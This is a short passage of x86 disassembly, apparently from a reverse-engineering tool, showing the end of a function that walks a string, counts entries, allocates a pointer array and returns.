add esi, 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x4574d8
mov byte [esi], 0
nop
add dword [ebp - 0x10c], 1
cmp byte [ebx], 0
jne 0x45741b
mov ebx, dword [ebp - 0x10c]
mov dword [0x4e5d60], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x4e5d70
call fcn.00453c60
mov eax, dword [0x4e5d70]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret